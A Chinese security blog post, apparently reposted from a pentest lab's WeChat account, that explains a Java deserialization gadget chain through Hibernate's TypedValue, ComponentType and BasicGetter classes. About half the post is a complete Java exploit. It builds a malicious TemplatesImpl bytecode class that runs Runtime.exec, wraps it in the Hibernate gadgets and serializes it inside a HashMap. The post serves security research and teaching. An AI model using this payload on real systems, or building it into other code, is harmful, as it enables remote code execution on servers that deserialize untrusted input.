Hibernate 反序列化链

admin 2023年7月24日14:58:58评论83 views字数 7173阅读23分54秒阅读模式

简介

Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java 框架,它最大的优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好当前正在使用的数据库,程序员就不需要操心不同数据库之间的差异。

分析

前置知识

PropertyAccessor

Hibernate 反序列化链

BasicPropertyAccessor

BasicPropertyAccessor类实现了PropertyAccessor接口,构造方法传入了一个Class,Method和propertyName,然后在get方法中调用了Target的method方法。

Hibernate 反序列化链

来看看BasicPropertyAccessor重写的getSetter方法

Hibernate 反序列化链

重写后的getSetter方法调用了自身createSetter方法,createSetter方法继续调用getSetterOrNull方法,把结果进行返回。

getSetterOrNull方法如下,调用setterMethod方法返回一个Method实例,然后包装成BasicSetter方法

Hibernate 反序列化链

在setterMethod方法中,通过调用getDeclareMethods()获取所有方法,然后判断是否以get开头,以get开头的就是getter。

Hibernate 反序列化链

AbstractComponentTuplizer

存在getPropertyValue方法,调用getters[i]的get方法

Hibernate 反序列化链

这里的getter数组是org.hibernate.property.Getter类,在上文提到getSetterOrNull方法最后返回的是一个BasicGetter方法,他是实现了Getter接口的

Hibernate 反序列化链

有PojoComponentTuplizer这么一个类,继承了AbstractComponentTuplizer抽象类,在他的getPropertyValues方法调用了父类的getPropertyValues方法

Hibernate 反序列化链

org/hibernate/type/ComponentType类存在getPropertyValues方法的调用

Hibernate 反序列化链

TypedValue

Hibernate 反序列化链

构造方法调用initTransients()方法

private void initTransients() {
   this.hashcode = new ValueHolder<Integer>( new ValueHolder.DeferredInitializer<Integer>() {
      @Override
      public Integer initialize() {
         return value =null ? 0 : type.getHashCode( value );
      }
   } );
}

initTransients方法把hashcode赋值为一个重写了initialize方法的DeferredInitializer对象

继续来看hashcode方法

Hibernate 反序列化链

返回了hashcode.getValue(),其中hashcode是ValueHolder对象,就是调用ValueHolder.getValue方法

Hibernate 反序列化链

也就是调用了DeferredInitializer的initialize方法,该方法已被重写,方法内容如下

Hibernate 反序列化链

调用type.getHashCode( value )

ComponentType

org/hibernate/type/ComponentType 存在getHashCode方法

Hibernate 反序列化链

调用了getPropertyValue方法

Hibernate1

大致调用链如下:

TypedValue->hashcode

ValueHolder->getValue

ValueHolder.DeferredInitializer->initialize

ComponentType->getHashCode

ComponentType->getPropertyValue

AbstractComponentTuplizer->getPropertyValue

BasicGetter->get

然后就是用CC3去打字节码



import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.mapping.Component;
import org.hibernate.type.Type;
import util.Reflections;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Test {

    public static void main(String[] args) throws Exception {

        Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
        Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


        //动态创建字节码
        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ch1e");

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,new byte[][]{bytes});
        Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

        Object getter;
        try {
            // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
            Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            getter = constructor.newInstance(nullnull, method);
        } catch (Exception ignored) {
            // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
            Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
            Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
            constructor.setAccessible(true);
            getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
        }

        // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法

        Object tuplizer = Reflections.createWithoutConstructor(pojoComponentTuplizerClass);


        // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
        Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
        field.setAccessible(true);
        Object getters = Array.newInstance(getter.getClass(), 1);
        Array.set(getters, 0, getter);
        field.set(tuplizer, getters);

        // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
//        Object type = componentTypeClass.newInstance();
        Object type = Reflections.createWithoutConstructor(componentTypeClass);

        // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
        Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
        field1.setAccessible(true);
        field1.set(type, tuplizer);

        Field field2 = componentTypeClass.getDeclaredField("propertySpan");
        field2.setAccessible(true);
        field2.set(type, 1);

        Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
        field3.setAccessible(true);
        field3.set(type, new Type[]{(Type) type});

        // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
        TypedValue typedValue = new TypedValue((Type) type, null);

        // 创建反序列化用 HashMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(typedValue, "ch1e");

        // put 到 hashmap 之后再反射写入,防止 put 时触发
        Field valueField = TypedValue.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(typedValue, templates);

//        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}







-END-

Hibernate 反序列化链如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。Hibernate 反序列化链



  推荐关注:





Hibernate 反序列化链
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~




原文始发于微信公众号(弱口令安全实验室):Hibernate 反序列化链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月24日14:58:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hibernate 反序列化链http://cn-sec.com/archives/1902593.html

发表评论

匿名网友 填写信息